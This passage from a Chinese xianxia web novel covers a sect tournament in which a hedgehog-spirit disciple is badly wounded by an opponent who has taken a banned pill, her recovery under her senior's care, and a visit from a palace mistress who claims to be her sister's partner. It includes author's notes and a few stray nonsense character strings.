金属性带来的厚重感让他每一步都显得沉重无比。 那人:“得罪了。” 语落,他提剑直冲而去。 鞭子这种长距离武器面对长短剑,优势明显,加之本身的修为压制,裴依宁对付那人游刃有余。险驻负 而那人亦是适可而止,攻击并不凌厉,以至于两人打得有来有回,裴依宁虽有上风,但并未下死手。 她与面对之人无冤无仇,只不过是宗门立场不同。 一炷香后,裴依宁往外一看,护罩外白雾朦胧,根本无法看见外界之景。 她无心贵多纠缠,鞭子一甩,一顶炼丹炉旋转着变大,悬浮于那人头顶,她掌心下压,口中一声“落”,丹炉四周无数古老铭文一颗颗亮起,金色光芒绽开,一个巨大的古文悬于丹炉底部。 苍焰宗那人急忙举起两剑,于头顶抵挡,他脚下一沉,护盾环绕在他身体,一枚盾牌压至两剑,堪堪止住丹炉的下降。 裴依宁两指点动,手肘使力,手腕转动,青紫色的经脉起伏,一根根横呈在小臂。 她低声喝道:“破。” “咔嚓”。 碎裂声起,盾牌裂缝起,紧随着,裂缝以一根遍布整体,此起彼伏的裂点响彻。 云榆握紧拳头在胸前,口中默念有词。 问亦云目光不时落在云榆身上,一眼即能看出云榆的实力。 不过黄灵而已。 这就是能让云樾每每情绪起伏的妹妹吗。 她有些嫉妒了。 问亦云凝着脸,眼神飘落到其中一座比武台中,那里的护罩已然开启。 是原以诗所处的那座。 数秒后,裴依宁和风浅念所在的两座分别开启。 不出意外,三人毋庸置疑地赢了。 另外两座比试台还在焦灼中。 裴依宁出来时,正对上远处的云榆,后者控制不住地挥手,舞动拳头,做口型:“裴师姐好厉害。” 裴依宁垂眸浅笑,没急着过去,与原以诗和风浅念两人往上首三人行礼。 坐在最中央的问亦云微微颔首,明艳张扬地五官舒展开,严正肃穆,冷凝地似周身冒着一层寒气。 她抬指,冉寻了然上前,宣布她们三人的结果。 风浅念传音给两人:【有些奇怪,苍焰宗搞出这么大的动静,怎么会这么轻飘飘地结束。】 第一场的五座比试台十人无一人伤亡,小打小闹般地结束了。 上方的问亦云对于结果不发一言,全程都是那位名叫冉寻的问玉宫人在说。 但她的话也不多,只寥寥几句。 神秘而怪异。 裴依宁扫过苍焰宗第二组上的人,其中云榆面对的亦是一位黄灵。 相同等级,应当不会出错。 回到原位,与云榆擦身之际,裴依宁牵住她的衣袖,低声道:“安全为重。” 云榆给她一个安心的神情。 问亦云眼力何其之好,看见裴依宁与云榆之间的小动作。 那位名叫裴依宁的,在遗迹外与小妖住一间帐篷,今早她在裴依宁身上察觉到小妖的气息,如今,又见小妖与她的互动。 小妖与这人的关系不一般。 问亦云眼神一抬,身边女子当即明白宫主的意思,掐了几下手指,将女人的样貌记录而下。 裴依宁下意识抬头往她的方向望一眼,但很快注意力转移到云榆所在的那座比试台。 那股轻微的灵力波动被她忽视。险诸负 护罩再度升起,将云榆与她对面的人包裹其中。 云榆召唤出灵剑,抬手一礼:“明越宗弟子,云榆,还请赐教。” 对面之人微微一笑,音色暗哑:“你可知平新荣?” 云榆蹙眉一皱,很陌生的名字,略有一丝耳熟,似在哪里听说过。 那人冷笑:“你当然不记得,他是我兄弟。在遗迹中和越天干一同死在你们手中的。” 恍惚中,云榆记起了平新荣是谁,是那个眼神令她极度不适的人。 这人竟是与那人有关系。 来者不善。该有的礼数已经做到,云榆不再多言。 那人凶恶地召唤出一只黑狼,此人竟是拥有御兽能力。 云榆调动灵力于两腿之间,身法转动,避开黑狼一爪。 她长剑扬起,天空被划出一道口子,水流天幕降下,迷了黑狼的视线,云榆趁机一刺剑身穿过流水,如入无物。 剑身入肉,黑狼仰头嚎叫,震耳欲聋,它抬起双爪,扑向云榆。 流水在地面积攒,黑狼的速度明显慢了许多,利用属性优势,云榆身体后仰,黑狼从她身上跃过。 云榆抬剑而上,在即将刺中黑狼腹部的刹那,云榆心头一软,手腕翻转,剑柄狠狠击在黑腹肚子上。 黑狼应声而倒,呜咽着爬起,前爪在比试台上磨磨,与云榆隔着数米的距离,虎视眈眈地绕着半圈。 它的主人突然跳到它的身上,那人拎着一柄长矛,转动数拳,他腿一踩狼背,凌空而起,长矛下劈,扩散的灵力撞击在护罩上。 云榆后退数步,身法转身,剑插入地,借力起身,一腿提出,避开长矛,一教踹在那人的胸口。 被踹者倒飞出去,一口污血吐出,他用力一抹唇,极怒反笑:“明越宗不愧是大宗,哪怕是黄灵修为的弟子亦是不一般。”他撑着长矛站起,“但若是比你高两个品阶呢?” 他咧嘴一笑,不等云榆反应他话中的意思,抬手一连吞下数枚丹药。 “不好。”裴依宁心中暗道。 身为炼丹师,她认出那人吞下的是何种丹药,六品“一元破境丸”。 虽品阶不算太高,但可强行拔高吞服者的修为。 这人竟然吞服了这种丹药。 不止是他,其它四座比试台上的人皆是吞服了这种东西。 第一场比试,只是为了降低她们的警惕性,第二场才是真正的要她们的命。 随着护罩内苍焰宗几人实力的猝然提升,原以诗等人皆是意识到不对劲。 “他们服用的是何?”风浅念问。 裴依宁面色凝重:“一元破境丸。” 风浅念:“这是什么?” 裴依宁指骨紧绷:“早已被明越宗列为禁药。可短时间内强行提高吞服者修为,最高可提高两个大阶。” 这个算在规则之内,裴依宁没想到,苍焰宗竟然用这般下作的手段。 转眼间,那人的修为被拔高至青灵,威压摄人。 云榆意识到不对,凭空取出一叠符纸,不要钱地扔出去,一座座小型阵法而起,云榆不管不顾地引导。 另外几座比试台内的明越宗弟子亦是如此。 可即便这样,在密闭空间内,依旧支撑不到数个呼吸,一张张符纸燃烧殆尽。长矛势如破竹地刺向云榆。 一切发生在电光火石间,裴依宁直冲而去,灵力直冲那层屏障。 原以诗风浅念等人同时而出,要强行破开护罩。 苍焰宗的几人去挡,但在明越宗主场,加之他们进入中心区域的人只有那么多,纷纷被明越宗其她弟子拦截在外。 一道道灵力撞击在护罩上。 苍焰宗长老冷哼一声:“问宫主,明越宗此举可是在破坏规则……” 然,坐在中央的人已经不在。 问亦云瞳仁微颤,折扇扔向云榆所在之地,身形如风,紧随而上。 冉寻素手一挥,护罩瞬间破裂。 各式灵力对撞在一起。 云榆只觉得胸口一疼,护甲挡住了绝大部分的伤害,但仍有一部分灵力钻入她的身体。 灵脉动荡,灵珠飞速转动,灵力释放而出,几乎要支撑不住身形。 她喉咙一甜,薄血喷出。 问亦云已然先一步来到她的身前,袖子一挥,长矛方向倾斜,她垂目。 云榆再无力稳住人形,化为一只小刺猬,四肢不时肌肉抖动。 不等她动手,小刺猬被裴依宁捞起,护在怀中,极速后退。 苍焰宗那人显然已经杀红了眼,认不清眼前何人,一招未中,一招又起。 问亦云冷下脸,扫了眼虚弱的小刺猬:“你是要害死本座吗?” 问亦云额间青筋跳动不断,她望向刺来的长矛,本要躲开,眼前浮现云樾的面容,她眼一眯,主动握住长矛。 血色染红了她的眼。 旋即,她一脚踹开那人,掌心一拍而去,那人吞服的丹药混着血吐出。 另外几座比试台上的明越宗弟子皆是因此受到重伤,被守在此处的灵丹堂人喂了丹药,抬下救治。 问亦云回头看向小刺猬。 裴依宁将她托举在掌心,心疼而怜惜,小心翼翼地分开小刺猬的唇,喂下一粒丹药。 问亦云垂下的指滴着血:“完了。” 作者有话说: 又欠了九千营养液的三千字加更 怎么一下子又欠了三千字!!! 先还一千字 剩下的五千字,慢慢还 我一定会还的 第67章 第六十七章[VIP] 小刺猬虚睁着眼, 瞳孔涣散无光,隐约中有很多人出现在身前,她被捧了起来,唇齿被人撬开, 一粒圆滚的东西滚入喉咙。 她意识稍有几分清明, 努力睁开眼,是熟悉的人脸。 几息间, 视野被模糊, 小刺猬四肢颤动,唇蠕动着吐出几道气音:“小跟班, 好疼……” 五脏六腑搅和起,小刺猬想, 这一刻自己一定狼狈极了,那么多防御之物,自己依旧被打成这幅样子。 她在小跟班面前丢尽了脸。 小刺猬呼吸微弱,一滴泪弹入两侧的毛发中,她连动作的力气都没有, 耳边又传来似是苍焰宗人的声音。 “问宫主, 明越宗人率先违反规则……” “问宫主, 您的手……” “……” 各种声音交杂在一起, 小刺猬的意识远去, 她好困。 可身体真的好疼。 最终, 所有的声音散去,只余下那道熟悉到记忆中的人声:“星星, 不会有事的, 别说话……” 尾调是什么,她听不清了。 裴依宁胸腔挤压着的酸涩, 苦痛蔓延,鼻腔与眼眶泛着疼,灵力源源不断地注入小刺猬的身体中。 喉咙倒吸入凉风,卡涩地说不出话。 小刺猬灵海内紊乱不堪,她将小刺猬的灵脉条条封锁,以免灵力逆冲,伤及根本。 此地忽地变得混乱,灵丹堂的人将受伤的同门带回堂内治疗,剩余其她峰阁的弟子气不过苍焰宗这等下作的手段,与苍焰宗讨要说法去了。 而苍焰宗则控诉明越宗违反规则,两方之间一触即发。 问亦云脸色冷硬地凝视着裴依宁离去的背影,滴着血的指颤动起来,她闭上眼,湮灭外露的情绪。 “够了。”问亦云呵斥。 身后的声音归于虚无,裴依宁无暇顾及后续如何处理,小刺猬的情况过于危险,她必须将她带回灵丹堂治疗。 一整日,不止是小刺猬,另外几名受伤的同门她也需得去查看一番。 好在都被及时救出,并未伤及根本,她们被安置在灵丹堂内继续治疗。 小刺猬醒时,已是晚间十分,窗外夜色沉沉,晚风浮动,她尝试动下爪子,连筋带骨的疼。 碎片记忆滚动,那一瞬间濒死的感觉让她心提到嗓子眼,强大的威压让她动弹不得。 小刺猬轻轻呼出气,意识的最后,她分明看见了裴依宁。 “星星。”支撑在床边的人发觉小刺猬细微的动作,恐惊床上人,“可有哪里不舒服的。” 小刺猬忍着疼动动爪子,灵海内空荡荡的,一颗黯淡无光的珠子悬停在那,根本无法调动灵力。 小刺猬眼眶一下子热起来,恐慌中忘记了疼,她猛地翻身坐起,噼里叭啦地骨裂声。 她声线中含着一丝哭腔,颤颤巍巍地:“我……我是不是不能修炼了。” 最后的攻击穿透了她的护甲,灵海也被波及到了吗?她拜入宗门就是想要提升修为,如今连最基本的灵海被没了。 她还如何修炼。 小刺猬脊背的刺耸动,枯萎地垂下。 裴依宁见她这幅大动作,急忙按住小刺猬的头顶,灵力涌入:“可以修炼的,星星,可以的。” 她解开对小刺猬灵脉的封锁:“当时你昏迷,灵力过紊乱,我只能先将你的灵脉封住。” 解开的瞬间,灵珠开始缓慢转动,丝丝缕缕的灵气灌入体内,空虚无存的灵海有了色彩。 巨大的绝望后,是巨大的喜悦,小刺猬咧嘴傻笑。 因先前大动作导致的连锁反应,肢体后知后觉地疼起。咧开的笑登时变得龇牙咧嘴。 小刺猬往后倒去,泪花闪动,疼得倒吸灵气:“好疼,疼死小刺猬了。” 恰在此刻,余光瞥见女子发红的眼眶,小刺猬怔愣住,咬紧牙关,将呼疼声憋回去。 她伸出爪子晃晃。 裴依宁双手合握:“星星,别乱动。” 小刺猬咬住舌尖,调皮地眨动眼睛:“笨蛋裴依宁,骗你的,根本不疼。” 可她实在没有力气再做起来了,抬爪已经耗费了她全部的力气和耐疼度。 她扯出笑,逼停眼中液:“你是不是被我吓到了。” 裴依宁不说话,只是看着她。 连说话声都小得忽略不计,还眼巴巴地安慰她,裴依宁心底某种被重重捏住,浸泡在酸水中。 她额头虚虚抵在小刺猬的爪子上,学着小刺猬惯常说她的语气:“笨蛋星星。” 小刺猬:“笨蛋裴依宁。” 裴依宁:“笨蛋星星。” 小刺猬:“不准说我是笨蛋,”她语气弱下来,也变得更轻,“我可以说你,你是我的小跟班,你见过谁家小跟班这么说自己老大的。” 小刺猬话变多了:“你就是倒反天罡的笨蛋裴依宁。” 裴依宁竟然敢这么说她,真是不拿小刺猬当回事。 她想捏裴依宁的脸,够不着,也没有力气捏。 她暂时放弃了这个念头,记在小刺猬的算账本上,等好了,一并算账。 裴依宁缓而慢地蹭动小刺猬的爪子,她抬眼,小刺猬漆黑的眸子正看着她。 视线对上,小刺猬鼓起脸颊,下巴扬下。 裴依宁不由自主地卡住她的脸颊,掌心吻上她的唇,两指稍稍挤压,含在小刺猬口中的气体被按出。 温凉的气体扑在她的掌心。 掌心下的一侧脸颊被顶起,是小刺猬舌头顶在那。 小刺猬舌头在脸颊快速滑动,引得裴依宁掌心处似不断有东西在游走。 很快,掌心下的东西不动了。 小刺猬忽地张开嘴,咬住裴依宁的虎口,牙齿在上面来回磨数次,吐出,得意洋洋:“笨蛋裴依宁,还敢不敢了。” 裴依宁忍着心头的痛看小刺猬故作轻松无忧地逗她开心,心口密密麻麻地被针扎过。 她弯下唇:“不敢了,星星。” 小刺猬:“喂本星星喝点水。” 小刺猬挣扎着要坐起来,被裴依宁一根指头地按在原位不动:“别动,就这么躺着喝。” 小刺猬一口咬住她的食指,舌尖在第一根指节快速点过:“我能起来。” 这个时候还在证明自己的无事,就像那次洗髓伐骨,疼晕了,事后亦是轻飘飘地来句“不疼”。 她不想让小刺猬在她面前故作坚强。 她想小刺猬可以肆无忌惮的在她面前喊疼,诉说委屈,而不是如现在这般,反过来抚慰她。 裴依宁摩挲她的脸颊:“不要起来。” 她自水壶中牵引出一条细长的水流,流淌的水被定格。 裴依宁捏开小刺猬的唇,水凝成一粒粒的水滴,滴落小刺猬口中。 这样喝水着实不方便,但小刺猬不需要多动,更无需担心被水流呛到。 喝完后,小刺猬闷闷地:“一口水要喝半柱香的时间。” 裴依宁抹去溅在她毛发边的水液:“哪有那般夸张。” 小刺猬闭眼,比试台上的画面窜出,她隐约记得那层护罩是在比试尚未结束的情况下被破开的,而在裴依宁到来前的那秒,有一道红衣如火的身形先一步挡在她面前。 不知是不是她看错了。 裴依宁强行闯入比试台救她,会不会于规则不符。 小刺猬问:“我昏倒后,发生了什么,苍焰宗和问玉宫的人有没有……归罪你。” 裴依宁:“不曾,护罩是问玉宫的人打开的,而在我之前,问玉宫的那位宫主更早一步到你身前。” 提及这事,裴依宁亦有困惑,当时问亦云就那般当着所有人的面,违反了问玉宫定下的规则,挡在了云榆身前。 她一整日注意力放在小刺猬身上,并未深究问亦云此举的原因。 无论是今早问亦云问她第四者为何没来,到比试台上主动护住云榆,都让她觉得奇怪。 但看小刺猬对问亦云的态度,并不认识。 小刺猬道:“许是苍焰宗的手段,让问玉宫宫主看不下去。” 裴依宁不置可否,小刺猬现在的状态说太多话无益于身体恢复,她竖起一根手指,搭在小刺猬唇边:“不准想这些了,先调养身体。” 小刺猬又咬了下她。 刚喂了小刺猬一粒丹药,将妖哄睡着,裴依宁收到风浅念的传音,对方和原以诗正在她的洞府外等她。 裴依宁给小刺猬盖好被子,小爪子放回到被子中,掐了个指诀烙印在四周。 她起身而出。 伴随着融融月色,裴依宁背靠着石门,眉宇间是说不尽的疲倦和烦闷,她半垂头,捏着鼻梁骨:“浅念,原师姐,是问玉宫那边出消息了吗?”县著赋 是否符合规则,是否需要继续,结果是何,都由问玉宫宫主一锤定音。 风浅念何时见过裴依宁这幅模样,倦怠至此,不觉和原以诗对视一眼。 她心有余而力不足,没有立刻回答:“云师妹如何了?” 裴依宁道:“已经睡着了,外伤都已愈合,内伤还需要一段时日调理。” 风浅念低叹:“我和原师姐适才去看了其她的弟子,好在都已醒了。” 苍焰宗吞服那种丹药的事情,着实超出了她们的预料范围。 问玉宫的护罩封住比试台,将比试台上的人限制在一定范围内,即使有再高品阶的符纸和护甲,面对两个大阶的差距,也支撑不了多久。 风浅念回归正题:“刚传出消息,苍焰宗使用禁药,手段超出切磋范畴,本次比试就此结束。” 过于简单了,裴依宁想得并不是这点。 当时只顾及云榆,她并未对伤及云榆的人动手。 这笔账,不可能就这么算了。 看出她的想法,原以诗淡淡道:“他们只要在我宗门内,明越宗就需要确保他们的安全,但,” 她话音一转,“出了明越宗的宗门,他们的死活皆与明越宗无关。” “只要处理得够安静,苍焰宗就算明知是明越宗做的,也奈何不了。”原以诗似在说什么无关紧要的事。 明越宗自是不可能咽下这口气,弟子伤亡至此,怎会不从苍焰宗身上讨回来。 “问玉宫宫主,是不是和云师妹认识?”风浅念问。 裴依宁摇头:“这点我也存疑,但云榆并不像认识她的模样。” * 云榆再度醒来,已经是日上三竿,体内的疼痛在数枚丹药的调理下,没那么疼了,她可以小幅度地动作。 灵海内的灵气足够支撑她化作人形。 受伤的情况下,刺猬形属实不方便,连个水杯被捧不起来。 人手好歹能握住杯身。 她艰难探身去捞水杯,指尖刚触及到杯身,一只温热的手包裹住她,轻轻地揽住她的肩膀,护着她半躺回床上。 “我不过熬煮了些东西,怎得就乱动了。”裴依宁侧坐在床上,就这样让云榆枕在她的肩上。 她拎着杯耳,仔细喂她喝了几口,“可以变成人形了,看来恢复得很好。” 云榆喝够了,仰头无力地躺在裴依宁怀中,柔软舒适,比单独躺在床上舒服得多,云榆放任自己这幅样子,躺靠在女人身上。 反正是她的小跟班。 云榆寻了个舒适的位置,上半身几乎贴在裴依宁身上,毛绒绒的发顶靠在裴依宁下颚处,她稍一转头,脸颊吻上女人细嫩的脖颈。 云榆心无旁骛地闭眼:“小跟班,让我靠会。” 裴依宁一条腿伸直在床沿,另一条腿踩在地上,半边身体被压得酥麻,怀中的人老实地躲在一个位置,毫无念动地在不经意间触及她早已不堪的自持力。 裴依宁垂目,是云榆乌黑浓密的发顶,裴依宁闭目,是云榆身上清淡的香气…… 处处都是云榆。 裴依宁被压住的那条手臂往下滑动,勾住云榆的腰身,随即腰腹部发力,灵力圈住云榆,上半身牵动下身往上。 另只手扯过掉落的被子,将云榆包裹的仅剩下一个小脑袋露在外面。 藏在被子中的手,克制地搭在云榆腰上,一动不动。 怀中人气息渐趋平缓,又是睡着了吗。 裴依宁歪头,脸颊与云榆发顶相贴。 怀中人动了下,还没睡着,云榆缓缓睁开眼:“裴师姐,会难受吗?” 裴依宁:“不难受,睡吧。” 云榆:“不困,睡了好久了。” 鼻头耸动,萦绕着的不止是裴依宁身上的气息,还有她身上的温度。 一颗心悄然加快,云榆揪住裴依宁的衣衫,侧身缩在女人怀中,唇擦过女人的脖颈,云榆问:“师姐,煮的什么?” 裴依宁身体绷着,感知力过强让她无法忽视云榆一闪而逝的接触,她有些明白那日云榆攥紧床单的心理了。 压下不该有的想法,裴依宁道:“你现在的身体不宜吃别的,我给你煮了点药粥。” 云榆果不其然地“啊”了声,小脸扭曲成一团:“就吃这个吗?” 裴依宁:“以往不是觉得药粥很好吃吗?”心软软的,“以后再给你做别的吃,先忍忍。” 云榆:“忍不住怎么办……” 顿顿药粥的日子,云榆一颗心都降了下来,这个时候,她只想吃点味道浓烈的,那种寡淡无味的东西,现在的她,当真不想吃。 究其根本,还是这几个月吃的好东西不多。早知道那几个月,就不故意躲着裴依宁了。 还没吃几顿好的,就要日日和清汤寡水为伴,云榆苦兮兮地抽动起来。 在裴依宁怀中摇头晃脑。 发顶不时顺过她的下巴,裴依宁捏紧了床沿,不至于让自己掉下去,她一念起,熬煮好的药粥被托举到手边的小方桌上。 裴依宁想短暂地将云榆离开,缓和混乱的脉搏:“星星,我去盛碗喂你,好不好。” 云榆不情不愿:“不好。” “你现在轻易动不得灵力,不吃会饿。” “我要吃水煮肉,红烧肉……” 一连报出好些个菜名。 裴依宁一一倾听:“等好了再做给你吃,现在,不可以。” 云榆:“哦。” 她还是不动。 裴依宁无果,只好继续用灵力,盛了碗药粥到手边,她圈住云榆的手放开,捏住勺柄,肩膀护着怀中人。 裴依宁将舀起一勺粥,在唇边吹热,伸到云榆口中:“乖,张嘴。” 云榆一眨不眨地看她,麻木地张开唇,吞下那勺粥。 紧接着,第二勺,第三勺…… 云榆目光一瞬不瞬地盯着裴依宁,看勺子从碗中到裴依宁唇边,伴随着一声声“张嘴”,再到自己唇边。 她没忍住笑出声。 裴依宁:“怎得了?” 云榆忍笑摇头,万不可和裴师姐说,不然定少不了一顿敲打。 又被喂了几口,她忍不住了,扭过头无声地笑。 裴依宁卡住她的小脑袋,颇为强硬地转回来,下巴黏在云榆发顶,让其不能摇头晃脑:“在笑什么?” 云榆闭口不语。 裴依宁:“云榆。” 直白白地被喊名字,云榆笑不出来了,被刻意顾虑的师姐威压降临,她瑟缩起来,拘谨地抬起无辜的眉目,水汪汪的眼中蓄满了惊慌。 裴依宁:“……” 算了,不说便不说。 云榆却在此刻小声:“师姐,我说了你不准生气。” 有什么值得生气的,更何况这人是云榆。 裴依宁:“不生气。” 云榆:“师姐好像一位母亲,在喂自己不听话的孩子吃饭……” “住口。” 云榆嘀咕:“我就说师姐会生气。” 裴依宁额头突突地跳,有种头晕目眩的错觉。 她真是小看云榆了,每每语出惊人,让她猝不及防,什么母亲,云榆怎能有这种感觉。 她想要的,不是云榆这句话。 周围的气压低下来,云榆胆战心惊。 裴师姐该不会真的生气了吧。 她要赶紧想补救的措施,果真,师姐有的话,根本不能信。 明明说好不生气的。 就在此时,气压恢复,云榆窝缩着侧开一只眼,去看裴依宁的表情。 淡淡的,没有笑容。 这般无措紧张又无辜至极的样子。 裴依宁:“……不生气。” 云榆:“骗妖,你都不笑了。” 裴依宁:“……笑了。” 云榆又侧开一只眼,裴依宁唇边扬起一抹弧度。 云榆:“好僵硬的笑。” 裴依宁:“……” 云榆适可而止地抬起双手:“我错了。” 得意洋洋的,哪里还有方才认错的样子,裴依宁无奈地舀起一勺粥,任劳任怨地继续伺候某只不会说话的小妖。 与此同时,洞府外又来了两人。 两人敛起气息,其中一人对着另人微点下头,后者上前,敲了三下门。 裴依宁和云榆同时看去。 云榆道:“莫不是杜师姐?” 她唯一能想到的人就是杜寻雁,她受伤,杜寻雁定是焦急无比,又恐打扰她修养。她竟也忘记了传音报平安。 裴依宁没感知到外面人的气息,不觉蹙眉。 宗门之人,若无特殊情况,万不会特意隐藏气息,难不成是苍焰宗的人。 也不对,苍焰宗的人虽没走,单被严格限制在一定区域,绝不可能出来。 莫不是…… 裴依宁下意识看了眼云榆。 云榆主动从裴依宁怀中起身,不慎牵扯到内伤,她倒吸口凉气:“裴师姐,外面有人。” 裴依宁握住她的后颈,将她扶好靠着:“别乱动,师姐很快就回来。” 云榆乖巧地“嗯”了声。 石门开启,一道光线顺着门缝钻入,外界的两人逐渐露出。 裴依宁对上其中一人,彻底打开石门,拱手:“问宫主。” 冉寻亦是抬手一礼。 裴依宁:“不知宫主前来,所谓何事?” 事先无人告知她这件事,即说明问亦云此番目的并不单纯。 她和问亦云可没有任何交集。 冉寻道:“打扰阁下了,不知云小友是否在此。” 明知故问。 裴依宁挡住去路,语气温和而强硬:“在,但她尚有伤在身,许是不便见二位。” 冉寻还要再说话,却被问亦云拦下。 女人五官张扬,攻击力十足,话音交揉着说不清的意味:“云樾。告诉她这个名字,她会见本座的。” 云榆,云樾。 相似的名字,何况云榆多次提及她的姐姐,不难猜出这两个名字拥有者之间的关系。 但问亦云如何知晓的,还是说,问亦云认识云榆的姐姐。 这样的话,便能说通为何问亦云多次关注云榆了。 “师姐,是杜师姐吗?”里面传来云榆的声音。 裴依宁偏头:“还请问宫主稍等。” 问亦云叫住转身离去的人:“她,伤得重吗?” 裴依宁:“性命无忧,”她顿了下,反身对着问亦云恭敬行了一礼,“多谢宫主出手相救。” 问亦云:“你和她是什么关系?” 裴依宁愣住,弯唇:“还请宫主在此稍等片刻。” 她去替问亦云传话。 “性命无忧,”问亦云低喃出手,她无意识地按住受伤的掌心,那里已经被包扎好,缠着一圈洁白的绸缎,“性命无忧就好。” 冉寻欲言又止。 问亦云:“何事?” 冉寻道:“宫主,您本可以更早出手的,为何?” 当时苍焰宗那人长矛刺出时,她就察觉到不对。 当时明越宗的人皆是出手救人,但她未得到问亦云的吩咐,没有立刻打开护罩,以至于明越宗的人没有及时救出比试台上的人。 她能察觉到的,问亦云必然能察觉到,可为何……明明可以避免云榆受伤,宫主也可以在问玉宫那位面前多获好感。 为何还是让那位的妹妹受了伤。 问亦云面无表情地挤压伤口,绸缎透出血色:“因为我在想,她妹妹若是死了,她会不会只能在意我了。” 作者有话说: 今天是准时的一天 第68章 第六十八章[VIP] 那一瞬间, 她想得是,云榆死了,日后云樾的心思会不会放在她身上。 可当那支长矛真的击中云榆时,她得到了答案。 不会, 若云榆性命出错, 云樾的目光依旧不会为她停留,她会毫不留情, 想方设法地为云榆报仇, 还会不留情面地弄死她。 纵观云樾在问玉宫的这些年,主动与她说的话, 寥寥无几。只在近几个月来,因为云榆这个媒介, 她才肯主动那么一点。 这一点,足以让她感到欢愉。 在想通的刹那,再出手已然来不及,云榆在她面前被打回本体,不知情况如何。 她因着苍焰宗和明越宗两方的混乱, 结束后, 需得为两方做评判, 不能冒然探看云榆, 等处理完一切, 天色已晚。 半开的石门内, 传出急切的跑动声,以及女人关切的话语。 问亦云眼皮猝然跳动, 不由自主地向后一退, 与此同时,石门被一股大力打开。 因着情绪激动, 顾不得内伤被牵扯出撕裂的疼,云榆盯着惨白的脸色,扒住石门,额头有冷汗渗出。 她小口呼吸,内里的女人拦她不及,慢一步出现在她身后,眼底的担忧做不得假。 “云榆。”裴依宁一手护住云榆的肩膀,另只手不避讳地揽住云榆的腰身,纤长的身高形成天然的屏障,不至于让身前人摇摇欲坠。 问亦云不着痕迹地扫过亲密无间的两人,莫名觉得刺眼,降下去的嫉妒隐约有升起的苗头。 但触及到云榆苍白的唇色和虚弱的气息时,那点苗头被熄灭。 “您……你知道我姐姐?” 云榆呼着气,内伤还没养好,起身都犯难,现在却跌跌撞撞地跑到人前,风一吹,她止不住地发抖。 眼睛直勾勾地盯着面前姿容艳丽的人,仔细看去,云榆的唇都在发颤。 柔和的灵力包裹住她,问亦云在探查云榆的身体。 没有伤及根本。 问亦云抽调出灵力:“知道,我此行便是受到你姐姐所托。”她顿了顿,语气越发柔软,“你的身体,可好些了?” 冉寻手背抵过唇。 适才才探查过对方的身体,如今又说这话,总有股怪异之感。 云榆考量不多:“多谢宫主关心,恢复得很好。” 似是回应她这句话,云榆肺部哽着,又一阵风吹来,云榆受冻,禁不住地别过头,侧额靠在裴依宁臂膀上,捂住唇,费力地咳嗽起来。 眼皮晕染地熏红,含着的几滴水液,黏哒地飞上睫毛,鸦羽般的睫毛扑散着腻在一起。 本就惨白的脸色因这几声呛如肺腑的咳嗽,红润了些。 脆弱的小妖碎裂般睁着水汪汪的眼睛,撑着直起身。 裴依宁心疼地圈住她,灵力包围住她全身,抵御外界风寒,尤不放心的将人往后带:“问宫主,天凉,我已备下好茶,还请两位移步进洞府内。” 不消片刻,三人落座,冉寻立于问亦云身侧,目不斜视。 云榆执着于姐姐的事:“问宫主,我姐姐她……” 问亦云衣袖挥动,四方桌上两包油纸包出现,上下相叠,甜腻的香气在空气中浮动。 云榆视线落在那两方凭空出现的物品上,鼻头耸动,记忆中快要丢失的味道回至,她拉着裴依宁的手缓解紧张。 无意识中,她紧紧攥着裴依宁的手,指腹在掌心不断地按压,来回搓动。 裴依宁反握住她的掌,指尖安抚性地在云榆手背上点动。 问亦云只瞧见两人的相贴的手臂交在一起,不用猜便知桌下的情景有过亲密。 问亦云将油纸包推到云榆面前:“这是你姐姐让我带给你的。” 是姐姐做的,是姐姐让问宫主带过来的。 云榆眸光晶亮:“敢问宫主,我姐姐她在哪?” 问亦云:“在问玉宫。” 裴依宁诧异地抬起眉梢,并不言语。 云榆更加紧张:“我姐姐她如今怎样?” 问亦云半身半假:“一切安好,你不用担心。” 云榆:“那她为何不来找我。” 问亦云止住话语,红艳的衣衫衬得她眉宇间神色傲然。 冉寻颤颤睫,不动声色地垂下眉。 涌动着的暗流让场面安静下,云榆焦急地等待,虎口偏上的肌肤是被掐出的一个个月牙形。 良久,问亦云开口:“她暂时不方便。” 云榆还想再问,身体的某处忽地疼起,一粒汗珠从额头滚落,她咬住下唇,意识被激了下,终究是没有刨根问底。 问宫主不想回答她这个问题,追问下去,也是无果。 知道姐姐所在就是好的。 姐姐莫非进了问玉宫,在里修炼。 看问亦云的态度,她与姐姐应是熟稔的。不然问亦云不会特意帮姐姐带东西给她。 短短几面,她能感受到问亦云身上,那种刻意想要拉近关系的意思。 云榆捏住裴依宁的指:“宫主与我姐姐很是相熟吗?” 冉寻余光瞥向云榆。 问亦云微微扬起头,脸上多出几分显眼的笑容,冲淡了眉眼中的攻击性:“自是相熟,很是相熟。” 问亦云声调轻缓而清晰,每一个字音都落入洞府内的三人耳中:“说起来,你应当唤我一声姐姐。” 云榆惊异地看过去。 裴依宁抬眸看去。 冉寻半垂目,又偷偷地收回目光,尽职尽责地守在那。 问亦云坦然地说:“我与你姐姐是……道侣。” 云榆:“什么?” 道侣,姐姐和问宫主是道侣。 怕她情绪起伏过大,再度牵扯内伤,裴依宁塞了枚凝神丹到她半张的口中。 她亦是惊愕不止。 云榆的姐姐与问玉宫宫主竟还有这一层关系,那先前多次询问云榆就有迹可循了。 可既知云榆是那人的妹妹,为何任由苍焰宗的人下那么大的死手。 但……问亦云的确出手救下了云榆。 冉寻动了动。 问亦云歪头:“怎得,你不信吗?” 云榆:“……我,我与姐姐数年未见,不知她感情之事。但我相信以问宫主的品性,定然不会乱语。” 她五指按在桌面,起身,又咳嗽了几声。 裴依宁陪着她起身。 云榆改口极快:“姐姐有时性情无端,还请问姐姐多担待。” 性情无端? 问亦云一想,这点云榆形容的半点无错。 她脖颈上被发簪刺的,被咬的,身上零零总总,这几年算下来,不知落得多少皮外伤。 如今都已恢复如初。 问亦云颇为认可:“它日,你定要好好说说你姐姐。” 她不动声色地打开记录用的晶石,引导榆将刚才的话又说了遍,随后将后续的话一一记录上。 云榆扯扯唇角,脸颊发麻,她坐下去,唇瓣上水光潋滟,看得人多有心疼。 问亦云道:“你我既算是姐妹,倒也不用在乎那些虚礼。” 她给冉寻使了个眼色,后者递上一块纯白玉石雕琢而成的玉佩,其上花纹繁复,精美异常,而在这些纹路中心,托举着一枚古朴的“问”字。 “此乃问玉宫令牌,它日如遇困难,只需往里注入一道灵气,我即可感知到,分出一道灵识来助你,”问亦云将令牌交给云榆,“这,便当是姐姐给你的见面礼。” 姐姐还在问玉宫内,云榆有心推辞,也不能推辞,她收下:“谢谢姐姐。” 